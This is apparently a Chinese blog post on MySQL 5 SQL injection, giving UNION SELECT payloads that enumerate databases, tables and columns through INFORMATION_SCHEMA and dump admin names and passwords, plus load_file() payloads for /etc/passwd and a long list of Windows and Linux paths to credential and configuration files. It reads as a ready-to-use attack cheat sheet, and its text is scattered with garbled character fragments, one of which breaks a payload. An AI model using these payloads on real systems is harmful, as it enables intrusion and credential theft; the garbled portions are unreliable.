mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


0 @, a# g4 x" u5 o4 W4 f# p" L+ g
9 d  u" E* T- V! s0 D& Z' e  [: a3 wMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
( q. C9 x1 H" ~" c存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
/ K6 U4 ]* g' n# P$ q; u; c5 `1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
; C9 U- m7 ]* d% u4 M|—字段：SCHEMA_NAME ->数据库名称
: k, l4 A; }# a9 D5 q
|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
, ~% p8 b! A$ A" z! Y6 w
: K7 e" ~2 ]  E2 a|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
( u. ^8 X$ g3 E: r4 z
|—字段：COLUMN_NAME ->该字段的名称
$ S+ U1 k5 o: `# i; R
% q- y' X/ L) i5 m( r7 n4 P#########################################################################
##

5 G  e" g8 a$ K- |1 r3 S* ?$ f0×001 获取系统信息:

union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
; U6 [1 D7 `9 a; ^' d) t(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

; h6 V& g8 c9 {3 T* R4 g+ r/*

' |4 H5 Y) \8 N; Z& o4 X  m" M% L" W@@global.version_compile_os 获取系统版本
6 Q2 ~+ p0 {9 h
@@datadir 数据库路径
database() 当前数据库名称
& i' P  ^" i9 d0x3c62723e 换行HEX值

9 l- P$ ?1 h7 K  H' \" U' ^: C*/

######################################################################
8 R1 c" k& ^( S
+ ^7 A+ a  Q8 n& H  X' Y; `0×002 获取表名
1 x, a' X3 C6 d* [. ?( D
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

/*
/ u4 [5 {. H- H$ L8 l& X
5 [* n. D! l. U0 g2 B& B0x67617264656e 为当前数据库名
& i) ^# {: j" h& a9 e
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
* }' O/ z: H5 t. r0 W' h! p' n
*/
6 _4 ?4 E9 b" o5 {7 ^
######################################################################
7 d# M/ r/ N8 w4 ]! B7 `: h$ ~
# U+ |, l! b2 q8 o+ f* Y3 y4 ^6 R0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
7 q( ^9 u/ G) A4 S* V2 i- j+ k1 ainformation_schema.columns where table_name=0x61646d696e and


table_schema=0x67617264656e limit 1 /*

/*

2 A' x1 T& r0 a( k! F' Pgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

* ~2 R5 @/ |2 K6 Z0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

#####################################################################
! [! p. X- b2 h2 O8 U- V
0×004 获取数据

* h/ S  I3 T' i0 ~# }union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
0 C2 }% o0 N* t7 j8 L(adpassword),6,7,8 from admin
& m9 c" ~5 G  C. ^
" c5 a% g) G+ O4 _/*
$ ?" @& ]/ q2 x1 a' V! w
! T$ ^& E9 s! q1 K+ _6 f2 j0x3c62723e 换行符号HEX编码
7 E0 g/ t$ E1 N2 x0 O
" v4 Z+ R7 y* t! Mgroup_concat 同时获得该字段所有数据
( T5 ?; K8 p  }5 q+ g4 [* q
*/


. x& a7 F8 z& ]' p3 K! y% S5 s
! f& E/ ~% U3 g, Q4 X
* D) Z  a+ z) n
- ?) s' ]% P" s/ i! h+ I顺便添加一些mysql注入时非常有用的一些东西
7 E4 _+ [$ `' N+ J
6 H/ w: Z& M3 ]简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
6 S" ?( r; n$ V- Y4 l- S0 x% q
7 s, N1 K: l4 S2 ~# q! E0 ^1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
7 W; a' W: D' D! D, A4:session_user()连接数据库的用户名
& j" j  o! J# Q( M0 i5:database()    数据库名
6:version()     MYSQL数据库版本
: S7 s  N, q6 J6 B/ l2 q) \4 k7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
$ f$ Y3 w/ L4 E& s10@version_compile_os   操作系统  Windows Server 2003,
# B* [; v% H4 O9 j7 T9 c收集的一些路径：
: s+ T1 d) E) ?- T! s9 N, n3 T& BWINDOWS下:
c:/boot.ini          //查看系统版本
" h1 H; N% E' Oc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
6 I  Q. \- x, \6 q2 tc:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
6 U; @5 w# b( k* }/ }. dc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
  \# ?0 u1 W9 H+ {0 l* w' y/ Uc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
8 r* D' z. E+ s& m8 I! ~7 k) Qc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
' g4 v. R# @3 i$ ]* j5 P: e//存储了pcAnywhere的登陆密码
$ b5 c! w8 V7 ~1 X& Cc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
9 T6 D) Q; c  ~c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

- L4 c3 T* M( r5 K+ |, N; C; I
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
" x1 B+ D' M+ Q" _C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
3 z- f% W5 h* N2 B) w7 R% }; VC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

* F$ {4 y* ]% x  R9 F" j  l& RLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
' Q3 C+ m5 N9 j3 I3 b/usr/local/app/php5/lib/php.ini //PHP相关设置
' @+ h0 }- _3 i: R- ~  Z! h- U$ k6 x/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
$ N: r3 Y# x! u0 Y' A/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
2 X/ y. D& W1 o/usr/local/app/php5/lib/php.ini //PHP相关设置
& P/ z' y* s; R6 M4 g. M/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
: p; q! {2 o( e& K6 q) }, ]6 x/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/ R$ f; K$ f$ Q/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
4 s6 {7 d; v' a6 i/ y/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
- `, W% H! n  {$ e" A/ w  O/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
% F* G4 N$ x/ {8 i/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
% |. T2 ^8 j# [+ v/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
3 n) F; c. j6 g/etc/sysconfig/iptables 查看防火墙策略
' |9 l' @1 _& ^: j* Bload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
( x3 z$ r6 b. {% j8 j4 c上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

7 U( E1 i7 ]' L; z; H9 \: \, i) s